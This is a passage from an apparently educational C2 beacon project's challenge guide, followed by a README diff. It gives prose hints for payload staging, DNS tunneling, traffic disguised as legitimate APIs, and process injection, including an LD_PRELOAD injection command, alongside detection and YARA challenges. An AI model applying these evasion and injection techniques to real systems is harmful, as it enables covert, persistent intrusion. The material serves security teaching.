5. Think about error handling. If the C2 server is down, the stager should retry with exponential backoff, similar to the beacon's reconnect logic at `beacon.py:460-510`.
6. Security concern: `exec()` runs arbitrary code. The stager should validate that the payload came from the real C2 server, not from a man-in-the-middle. Use HTTPS for the download, or implement a shared secret that the stager uses to verify the payload.
**Files to modify:**
- New REST endpoint in `backend/app/ops/router.py` (or a new router file)
- New stager script (a separate small Python file)
- Optionally: `backend/app/config.py` for staging configuration
---
### Challenge 11: Build a Detection Tool
**What to build:** A network monitoring script that detects our beacon's traffic patterns. This script sits on the defender's side and watches for signs of C2 communication.
**Why it matters:** Building the detection tool for your own C2 framework teaches you both offense and defense simultaneously. You will understand why certain traffic patterns are suspicious and how defenders actually catch C2 beacons in the wild. This is the kind of thinking that separates script kiddies from security professionals.
This challenge also validates your C2 design. If your detection tool can catch the beacon easily, you know the beacon's OPSEC is weak.
**What you will learn:**
- Network traffic analysis with Python
- Behavioral detection (finding patterns, not signatures)
- How IDS/IPS systems like Snort and Suricata work at a conceptual level
- The defender's perspective on C2 traffic
**Where to start reading:**
Study the beacon's communication patterns by reading `beacon/beacon.py`:
- The beacon connects via WebSocket to a fixed URL (line 38): `ws://localhost:8000/ws/beacon`
- It sends a `REGISTER` message immediately on connect (line 468)
- It sends `HEARTBEAT` messages on a regular interval (line 443-453) with jitter (line 97-102)
- The heartbeat interval defaults to 3 seconds with 30% jitter (lines 42-43)
- All messages are XOR-encoded then Base64-encoded (lines 62-78)
These patterns are detectable:
- Regular periodic WebSocket connections to the same endpoint
- Base64-encoded payloads of similar sizes (heartbeats are always roughly the same length)
- A fixed WebSocket upgrade path (`/ws/beacon`)
**Hints:**
1. Use `scapy` or `pyshark` to capture network traffic. Start simple: capture all TCP traffic on the C2 server's port (default 8000) and look for WebSocket upgrade requests.
2. Detect the heartbeat rhythm. Record the timestamps of consecutive messages from the same source IP. If they arrive at a regular interval (plus or minus the jitter), flag it as suspicious. A function that computes the standard deviation of inter-message intervals will reveal the regularity.
3. Look at message sizes. Heartbeat messages are always the same plaintext length, and XOR does not change the length, so the Base64-encoded output will be the same length every time. If you see many messages of identical size from the same source, that is a strong C2 indicator.
4. Check for the WebSocket upgrade path. A GET request to `/ws/beacon` is a dead giveaway. In a real engagement, the operator would change this to something innocuous like `/api/v2/health`. For this challenge, detect the default path.
5. Consider writing Snort or Suricata rules instead of (or in addition to) a Python script. A Snort rule that matches the WebSocket upgrade to `/ws/beacon` is a one-liner.
**Files to modify:**
- New Python script (e.g., `tools/detect_beacon.py`)
---
### Challenge 12: Add a DNS-Based C2 Channel
**What to build:** An alternative transport layer where the beacon communicates through DNS TXT record queries instead of WebSockets. The beacon encodes commands and results as DNS queries and responses.
**Why it matters:** WebSocket connections to unusual endpoints are relatively easy to detect and block. DNS traffic, on the other hand, is allowed through almost every firewall because blocking DNS breaks everything. DNS-based C2 is used by sophisticated threat actors precisely because DNS is so permissive. Tools like `dnscat2`, `iodine`, and Cobalt Strike's DNS beacon all exploit this.
MITRE ATT&CK reference: T1071.004 (Application Layer Protocol: DNS).
**What you will learn:**
- DNS protocol fundamentals (query types, TXT records, encoding constraints)
- DNS tunneling techniques
- Building a custom DNS server in Python
- The severe bandwidth limitations of DNS as a transport
**Where to start reading:**
The current transport is WebSocket-based. The beacon connects at `beacon/beacon.py:466` using `websockets.connect()`. Messages are sent with `ws.send()` and received with `ws.recv()`. The entire transport is abstracted behind these two operations.
The server receives WebSocket connections at `backend/app/beacon/router.py:92`. The `beacon_websocket` function handles the WebSocket lifecycle.
**Hints:**
1. Start by understanding DNS TXT records. A DNS query for `data.yourdomain.com` can return arbitrary text in the TXT record (up to 255 bytes per string, multiple strings per record). The beacon encodes its data in the subdomain labels and reads responses from TXT records.
2. Build a simple DNS server using Python's `dnslib` library. It listens on UDP port 53, receives queries, decodes the subdomain labels to extract beacon data, and responds with TXT records containing task data.
3. The encoding constraint is severe. DNS labels are limited to 63 characters each, and the total domain name cannot exceed 253 characters. Base32 encoding (not Base64, because DNS is case-insensitive) is the standard approach. This means you can fit roughly 150 bytes of raw data per query.
4. Large payloads (like `sysinfo` or `proclist` results) must be chunked across multiple DNS queries. Implement a sequencing protocol: each chunk includes a sequence number and a total count so the server can reassemble them.
5. The beacon's main loop changes from "connect WebSocket, send/receive" to "periodically make DNS queries." Each heartbeat becomes a query like `HEARTBEAT.beaconid.yourdomain.com`. The server responds with either "no tasks" or the encoded task data in a TXT record.
6. This is a major refactor. Consider abstracting the transport layer in the beacon so you can swap between WebSocket and DNS without rewriting the command handlers. Create a `Transport` interface with `send()` and `receive()` methods.
**Files to modify:**
- Major refactor of `beacon/beacon.py` (transport abstraction)
- New DNS server script
- New DNS transport implementation for the beacon
---
## Expert Challenges
---
### Challenge 13: Malleable C2 Profile
**What to build:** Implement traffic shaping where the C2 communication mimics normal HTTP traffic. Make beacon requests look like they are fetching resources from a CDN, a social media API, or a weather service.
**Why it matters:** Network defenders use heuristics to flag unusual traffic. WebSocket connections to a random IP on port 8000 are suspicious by default. But HTTPS requests to what looks like `api.weather.com/v2/forecast?lat=40.7&lon=-74.0` blend into normal traffic. Cobalt Strike's "malleable C2 profiles" are configuration files that define exactly how traffic should look. This is one of the most powerful evasion techniques in modern C2 frameworks.
MITRE ATT&CK reference: T1001.003 (Data Obfuscation: Protocol Impersonation).
**Where to start reading:**
Study the current message format. The beacon sends XOR+Base64 encoded strings over WebSocket. A network observer sees Base64 blobs going to a WebSocket endpoint. This is obviously not normal web traffic.
Look at how the beacon's `pack` function at `beacon/beacon.py:81-86` builds messages and how the server's `unpack` at `protocol.py:45-59` parses them. The transformation happens at these two points.
**Hints:**
1. Research Cobalt Strike's malleable C2 profile format. Read some example profiles to understand what traffic shaping means in practice. Key concepts: URI paths, HTTP headers, parameter encoding, body transforms.
2. Replace the WebSocket transport with HTTPS requests that mimic a legitimate API. For example, the beacon could send heartbeats as `GET /api/v2/feed?user=<encoded_beacon_id>&ts=<encoded_heartbeat>` and receive tasks in the response body wrapped in fake JSON like `{"status": "ok", "data": {"items": ["<encoded_task>"]}}`.
3. Add realistic HTTP headers: `User-Agent`, `Accept`, `Content-Type`, `Cache-Control`. Copy headers from a real browser request to the service you are impersonating.
4. Vary the URI paths. Do not hit the same endpoint every time. Rotate between `/api/feed`, `/api/profile`, `/api/notifications`, etc. Each can carry the same encoded payload but looks like different API calls.
5. The server side needs a corresponding transformation. For each fake API endpoint, the server extracts the real C2 data from the request parameters or body, processes it, and wraps the response in the same fake API format.
---
### Challenge 14: Write a YARA Rule
**What to build:** Write YARA rules that detect this project's beacon source code on disk and its network traffic patterns in a PCAP capture.
**Why it matters:** YARA is the standard tool for malware identification. Threat intelligence teams write YARA rules to hunt for known malware across endpoints and network captures. Writing YARA rules for your own tool teaches you what makes malware identifiable and how to reduce those indicators.
**Where to start reading:**
Study the beacon source at `beacon/beacon.py` for unique strings and patterns:
- The default XOR key at line 41: `"c2-beacon-default-key-change-me"`
- The `REGISTER` message type string at line 468
- The `COMMAND_HANDLERS` dictionary keys at lines 419-430
- Import combinations: `psutil`, `websockets`, `mss`, `pynput` together in one file is unusual
- The `collect_system_info` function at line 105 gathers hostname, OS, username, PID, internal IP, and architecture, which is a distinctive fingerprint
**Hints:**
1. Install YARA (`sudo apt install yara` or `pip install yara-python`) and read the documentation on rule syntax. A basic rule needs: `rule name { strings: $s1 = "pattern" condition: $s1 }`.
2. For detecting the beacon source code on disk, look for unique string combinations. Any single string could appear in legitimate code, so combine multiple strings with `and` conditions. For example: the XOR key AND the `collect_system_info` function name AND the `COMMAND_HANDLERS` variable name.
3. For detecting network traffic, capture a PCAP of the beacon communicating with the server (use `tcpdump` or Wireshark). Look for the WebSocket upgrade request to `/ws/beacon` and the periodic Base64-encoded messages.
4. Test your rules against the beacon file AND against a set of benign Python files to verify you get no false positives. A rule that matches every Python script is useless.
5. Consider writing separate rules: one for "beacon source on disk" (text matching) and one for "beacon traffic in PCAP" (byte pattern matching against the encoded message format).
---
### Challenge 15: Implement Process Injection
**What to build:** Instead of running the beacon as a visible Python process, inject the beacon code into another running process so it hides within a legitimate program.
**Why it matters:** A standalone `python3 beacon.py` process is visible in every process listing. Any system administrator running `ps aux` will see it. Process injection hides the beacon inside a trusted process like `sshd`, `nginx`, or `bash`, making it much harder to detect.
MITRE ATT&CK reference: T1055 (Process Injection).
**Where to start reading:**
The beacon currently runs as a standalone process. Look at `beacon/beacon.py:513-514` where `asyncio.run(main())` starts everything. The `collect_system_info` function at line 105 reports its own PID with `os.getpid()`.
**Hints:**
1. On Linux, research `ptrace`-based injection. The `ptrace` system call allows one process to control another. You can attach to a target process, allocate memory in its address space, write your shellcode or Python bytecode, and create a new thread to execute it.
2. A simpler approach on Linux is `LD_PRELOAD` injection. Create a shared library that starts the beacon in a background thread when loaded. Then start a legitimate program with `LD_PRELOAD=./beacon.so /usr/bin/some_program`. The beacon runs inside that program's process.
3. The Python-specific approach: use `ctypes` to call `dlopen()` and inject a shared library into the current process, or use `/proc/{pid}/mem` to write to another process's memory space (requires root).
4. This is significantly harder than the other challenges. Start by getting `LD_PRELOAD` injection working before attempting `ptrace`. The `ctypes` library in Python can interface with C-level system calls, but you will likely need to write a small C wrapper.
5. Consider the ethical implications. Process injection is a technique used by both red teams (authorized testing) and actual malware. Only test this in isolated lab environments you own. Running this against systems you do not have explicit authorization to test is illegal.
---
## Challenge Yourself Further
These are open-ended projects that go beyond modifying this codebase. They build the broader skills that matter for a career in offensive or defensive security.
**Compare with production C2 frameworks.** Install Sliver (open source, Go-based) or set up a Cobalt Strike trial. Run them side by side with this project. Compare the architecture: how does Sliver handle beacon registration? How does Cobalt Strike's team server differ from our `OpsManager`? What features do they have that we skipped? Document the differences.
**Capture and analyze your own traffic.** Run Wireshark while the beacon communicates with the server. Save the capture as a PCAP file. Identify the WebSocket handshake, the heartbeat pattern, and the task/result exchanges. Write Snort or Suricata rules that would detect this traffic on a corporate network. Test those rules against the PCAP to verify they trigger.
**Deploy over a real network.** Run the C2 server on a VPS (DigitalOcean, AWS, Linode) and the beacon on a different machine, either another VPS or a local VM. This exposes you to real networking challenges: firewalls, NAT traversal, DNS resolution, TLS certificates for secure WebSocket connections, and latency. Most local development bypasses these entirely.
**Map to MITRE ATT&CK.** Read the ATT&CK pages for every technique our commands implement. The beacon supports: T1059.004 (shell), T1082 (sysinfo), T1057 (proclist), T1105 (upload/download), T1113 (screenshot), T1056.001 (keylogging), T1053.003 (persist via cron), T1029 (sleep/jitter for scheduled transfer). For each technique, read the "Detection" section. What would a defender look for? Does our implementation leave those artifacts?
**Build a lab with detection tooling.** Set up an ELK stack (Elasticsearch, Logstash, Kibana) or Wazuh on the same network as the beacon. Configure Sysmon (Windows) or auditd (Linux) to log process creation, network connections, and file modifications. Run the beacon and see what alerts fire. This gives you the defender's perspective on every command you execute.
---
## Challenge Completion Tracker
Use this to track your progress. Check off each challenge as you complete it.
- [ ] Easy 1: Add a `pwd` Command
- [ ] Easy 2: Add Beacon Uptime Display
- [ ] Easy 3: Add a `clear` Terminal Command
- [ ] Easy 4: Add Connection Count to Header
- [ ] Intermediate 5: Add Operator Authentication
- [ ] Intermediate 6: Add More Quick Action Buttons
- [ ] Intermediate 7: Task History Persistence
- [ ] Intermediate 8: Add AES-256 Encryption
- [ ] Advanced 9: Multi-Operator Support with Roles
- [ ] Advanced 10: Beacon Staging
- [ ] Advanced 11: Build a Detection Tool
- [ ] Advanced 12: Add DNS-Based C2 Channel
- [ ] Expert 13: Malleable C2 Profile
- [ ] Expert 14: Write a YARA Rule
- [ ] Expert 15: Implement Process Injection

View File

@ -23,7 +23,7 @@
<h2 align="center"><strong>View Complete Projects:</strong></h2>
<div align="center">
<a href="https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS">
<img src="https://img.shields.io/badge/Full_Source_Code-14/60-blue?style=for-the-badge&logo=github" alt="Projects"/>
<img src="https://img.shields.io/badge/Full_Source_Code-15/60-blue?style=for-the-badge&logo=github" alt="Projects"/>
</a>
</div>
@ -64,7 +64,7 @@ Tools, courses, certifications, communities, and frameworks for cybersecurity pr
| **[Security News Scraper](./SYNOPSES/beginner/Security.News.Scraper.md)**<br>Aggregate cybersecurity news | ![3-4h](https://img.shields.io/badge/⏱_10--14h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Web scraping • CVE parsing • Database storage<br>[Learn More](./SYNOPSES/beginner/Security.News.Scraper.md) |
| **[Phishing URL Detector](./SYNOPSES/beginner/Phishing.URL.Detector.md)**<br>Analyze URLs for phishing | ![2-3h](https://img.shields.io/badge/⏱_3--4h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | URL analysis • Typosquatting detection • Safe browsing APIs<br>[Learn More](./SYNOPSES/beginner/Phishing.URL.Detector.md) |
| **[SSH Brute Force Detector](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md)**<br>Monitor and block SSH attacks | ![2-4h](https://img.shields.io/badge/⏱_2--4h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Log parsing • Attack detection • Firewall automation<br>[Learn More](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md) |
| **[WiFi Network Scanner](./SYNOPSES/beginner/WiFi.Network.Scanner.md)**<br>Scan wireless networks | ![2-3h](https://img.shields.io/badge/⏱_9--10h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Wireless protocols • Encryption types • Rogue AP detection<br>[Learn More](./SYNOPSES/beginner/WiFi.Network.Scanner.md) |
| **[Simple C2 Beacon](./PROJECTS/beginner/c2-beacon)**<br>Command and Control beacon/server | ![3-5h](https://img.shields.io/badge/⏱_10--12h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![React](https://img.shields.io/badge/React-61DAFB?logo=react&logoColor=black) ![Docker](https://img.shields.io/badge/Docker-2496ED?logo=docker&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | C2 architecture • MITRE ATT&CK • WebSocket protocol • XOR encoding<br>[Source Code](./PROJECTS/beginner/c2-beacon) \| [Docs](./PROJECTS/beginner/c2-beacon/learn) |
| **[Base64 Encoder/Decoder](./SYNOPSES/beginner/Base64.Encoder.Decoder.md)**<br>Multi-format encoding tool | ![1h](https://img.shields.io/badge/⏱_2h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Base64/32 encoding • URL encoding • Auto-detection<br>[Source Code](./PROJECTS/beginner/base64-tool) \| [Docs](./PROJECTS/beginner/base64-tool/learn) |
| **[Firewall Log Parser](./SYNOPSES/beginner/Firewall.Log.Parser.md)**<br>Parse and visualize logs | ![3-4h](https://img.shields.io/badge/⏱_3--4h-blue) ![Bash](https://img.shields.io/badge/Bash-4EAA25?logo=gnubash&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Log parsing • Pattern recognition • Data visualization<br>[Learn More](./SYNOPSES/beginner/Firewall.Log.Parser.md) |
| **[ARP Spoofing Detector](./SYNOPSES/beginner/ARP.Spoofing.Detector.md)**<br>Detect ARP attacks | ![2-3h](https://img.shields.io/badge/⏱_5--6h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | ARP protocol • MAC tracking • MITM detection<br>[Learn More](./SYNOPSES/beginner/ARP.Spoofing.Detector.md) |